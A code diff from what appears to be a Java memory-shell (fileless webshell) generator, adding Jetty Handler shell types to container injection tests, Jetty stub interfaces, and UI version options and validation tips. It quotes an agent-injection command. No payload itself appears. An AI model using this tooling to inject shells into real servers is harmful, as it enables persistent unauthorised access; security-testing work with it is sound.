@@ -0,0 +1,11 @@
package org.eclipse.jetty.server;
/**
* @author ReaJason
* @since 2025/12/2
*/
public class HttpConfiguration {
public interface Customizer {
}
}
@@ -0,0 +1,8 @@
package org.eclipse.jetty.server;
/**
* @author ReaJason
* @since 2025/11/29
*/
public interface Request {
}
@@ -0,0 +1,8 @@
package org.eclipse.jetty.server;
/**
* @author ReaJason
* @since 2025/11/29
*/
public interface Response {
}
@@ -0,0 +1,8 @@
package org.eclipse.jetty.util;
/**
* @author ReaJason
* @since 2025/11/29
*/
public interface Callback {
}
@@ -54,6 +54,7 @@ public class Jetty10ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -55,6 +55,7 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -72,6 +73,6 @@ public class Jetty11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V17, packer, container, python);
}
}
@@ -55,6 +55,7 @@ public class Jetty12ee10ContainerTest {
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.Base64);
@@ -72,6 +73,6 @@ public class Jetty12ee10ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -55,6 +55,7 @@ public class Jetty12ee11ContainerTest {
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.Base64);
@@ -73,6 +74,6 @@ public class Jetty12ee11ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty12ee8ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.Base64);
@@ -70,6 +71,6 @@ public class Jetty12ee8ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -55,6 +55,7 @@ public class Jetty12ee9ContainerTest {
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.Base64);
@@ -72,6 +73,6 @@ public class Jetty12ee9ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "12", shellType, shellTool, Opcodes.V21, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty61ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty61ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty75ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty75ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty76ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty76ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty81ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -69,6 +70,6 @@ public class Jetty81ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -55,6 +55,7 @@ public class Jetty92ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -71,6 +72,6 @@ public class Jetty92ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty93ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty93ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -54,6 +54,7 @@ public class Jetty94ContainerTest {
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.JETTY_AGENT_HANDLER
);
List<Packers> testPackers = List.of(Packers.JSP);
@@ -70,6 +71,6 @@ public class Jetty94ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -144,18 +144,16 @@ export default function MainConfigCard({
if (value === "TongWeb") {
setServerVersionOptions([
...defaultServerVersionOptions,
{
name: "6",
value: "6",
},
{
name: "7",
value: "7",
},
{
name: "8",
value: "8",
},
{ name: "6", value: "6" },
{ name: "7", value: "7" },
{ name: "8", value: "8" },
]);
} else if (value === "Jetty") {
setServerVersionOptions([
...defaultServerVersionOptions,
{ name: "6", value: "6" },
{ name: "7+", value: "7+" },
{ name: "12", value: "12" },
]);
} else {
setServerVersionOptions(defaultServerVersionOptions);
+1 -1
View File
@@ -47,7 +47,7 @@
"tips.execute-command1": "Execute the command to inject: java -jar /path/to/agent.jar pid",
"tips.get-pid": "Get the process pid of the target jvm (use jps or ps)",
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
"tips.serverVersion": "serverVersion is required for TongWeb Valve",
"tips.serverVersion": "serverVersion is required",
"tips.servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
"tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first",
"tips.shellToolNotSelected": "Please select a shell tool type first",
+1 -1
View File
@@ -47,7 +47,7 @@
"tips.execute-command1": "执行命令进行注入:java -jar /path/to/agent.jar pid",
"tips.get-pid": "获取目标 jvm 的进程 pid(使用 jps 或 ps",
"tips.handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler",
"tips.serverVersion": "TongWeb Valve 需要指定 serverVersion",
"tips.serverVersion": "当前挂载类型必须指定 serverVersion",
"tips.servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet",
"tips.shellBytesEmpty": "内存马字节码为空,无法下载,请先生成内存马",
"tips.shellToolNotSelected": "请先选择内存马工具类型",
+1 -1
View File
@@ -78,7 +78,7 @@ export function shouldHidden(shellType: string | undefined) {
shellType.endsWith("Valve") ||
shellType.startsWith("Agent") ||
shellType.endsWith("Interceptor") ||
shellType.endsWith("NettyHandler") ||
shellType.endsWith("Handler") ||
shellType.endsWith("WebFilter")
);
}
+13
View File
@@ -99,6 +99,19 @@ export const useYupValidationResolver = (
};
}
if (
values.server === "Jetty" &&
(values.shellType === "Handler"
|| values.shellType === "JakartaHandler"
) &&
values.serverVersion === "unknown"
) {
errors[serverVersion] = {
type: "custom",
message: t("memshell:tips.serverVersion"),
};
}
return {
values,
errors,